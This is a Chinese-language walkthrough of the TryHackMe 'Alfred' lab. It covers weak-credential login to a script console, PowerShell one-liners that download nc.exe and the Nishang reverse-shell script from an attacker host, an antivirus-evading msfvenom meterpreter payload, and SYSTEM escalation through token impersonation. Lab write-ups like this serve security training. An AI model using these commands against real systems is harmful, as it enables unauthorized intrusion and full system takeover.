THM-Alfred(阿尔弗雷德)
这台靶机不支持ping,可以使用ping 10.10.10.10来查看openvpn的连通性

侦查
使用Nmap扫描目标端口开放信息
由于
Nmap默认会进行ping的存活扫描,如果存活扫描失败,他会停止对目标的端口扫描,这对于我们来说是不理想的
使用-Pn不对目标进行存活扫描
nmap -sV -n -F -Pn 10.10.254.77

开放了80、3389、8080端口
访问80端口并没有发现什么有用信息

8080端口也开放这http服务,尝试访问

是一个登录页面,弱密码admin:admin直接登录成功
英文看不懂,使用Google chrome浏览器访问自动翻译

看懂了,花了一些时间,找到了一个命令执行的页面

但是试了一下感觉不对您,有点悬,尝试换其他的地方进行测试
经过一个一个点击,找到了脚本控制台(Script Console),可以进行命令执行,进入路径为




提示我们可以使用println "uname -a".execute().text执行uname -a命令
尝试执行whoami

执行成功
获得初始访问权限
这是我们找到了命令执行的地方,尝试反弹shell
尝试上传一个后门脚本,可以是nc.exe也可以是其他的后门工具,这里我们将静态二进制文件nc.exe进行上传
思路:
- 我们需要在本机搭建一个Web服务,然后命令执行使目标下载我们的
nc.exe - 使用
nc.exe反弹shell
操作:
首先在本机下载静态二进制文件nc.exe,并共享该文件

在目标机器下载共享的nc.exe文件
这里使用powershell下载nc.exe
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/ nc.exe');nc.exe your-ip your-port -e cmd.exe

执行后发现成功下载了nc.exe,并没有弹回shell


应该是语法的问题,在本机测试也没有执行成功,这里按照教程上的使用Nishang后门进行利用
后门脚本下载地址https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port
执行

成功回弹shell

切换外壳(shell)
为了我们操作更方便,将shell切换为功能更方便的meterpreter
使用 msfvenom 使用以下有效负载创建一个 windows meterpreter 反向 shell
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe

在本机开启meterpreter监听

此有效负载生成编码的 x86-64 反向 tcp meterpreter 有效负载。有效载荷通常被编码以确保它们被正确传输,并且还可以逃避反病毒产品。防病毒产品可能无法识别有效载荷,也不会将其标记为恶意
然后再使用同样的方法在靶机下载我们的payload
这次我们使用该方法下载
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"

成功下载Junglezt.exe,运行即可获取meterpreter shell
运行Junglezt.exe,可以使用.\Junglezt也可以使用Start-Process "Junglezt.exe"

特权升级
现在我们有了初始访问权限,让我们使用令牌模拟来获得系统访问权限。
Windows 使用令牌来确保帐户具有执行特定操作的正确权限。当用户登录或通过身份验证时,帐户令牌将分配给帐户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。
此访问令牌包括:
- 用户 SID(安全标识符)
- 组 SID
- 特权
有两种类型的访问令牌:
- 主要访问令牌:与登录时生成的用户帐户关联的令牌
- 模拟令牌:这些允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
对于模拟令牌,有不同的级别:
- SecurityAnonymous:当前用户/客户端不能模拟另一个用户/客户端
- SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
- SecurityImpersonation:当前用户/客户端可以在本地系统上模拟客户端的安全上下文
- SecurityDelegation:当前用户/客户端可以在远程系统上模拟客户端的安全上下文
其中安全上下文是一个包含用户相关安全信息的数据结构。
帐户的权限(创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
使用whomia /priv可以查看当前用户的特殊权限

可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限
让我们使用允许我们利用此漏洞的incognito模块,执行load incognito加载该模块,如果该命令不可用,可以使用use incognito执行该操作
使用help可以查看incognito模块的帮助

使用list_tokens -g查看可以伪装的令牌,其中BUILTIN\Administrators可以使用

使用impersonate_token "BUILTIN\Administrators"切换到该用户的令牌,并使用getuid查看当前权限

即使您拥有更高特权的令牌,您实际上可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。但是我们可以把进程迁移到拥有正确权限的进程
最安全的进程是 services.exe 进程。先用ps命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS迁移到这个进程


现在我们就拥有了真正的NT AUTHORITY\SYSTEM权限
读取 C:\Windows\System32\config 中的 root.txt 文件

注意:C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置,是一个很重要的目录

浙公网安备 33010602011771号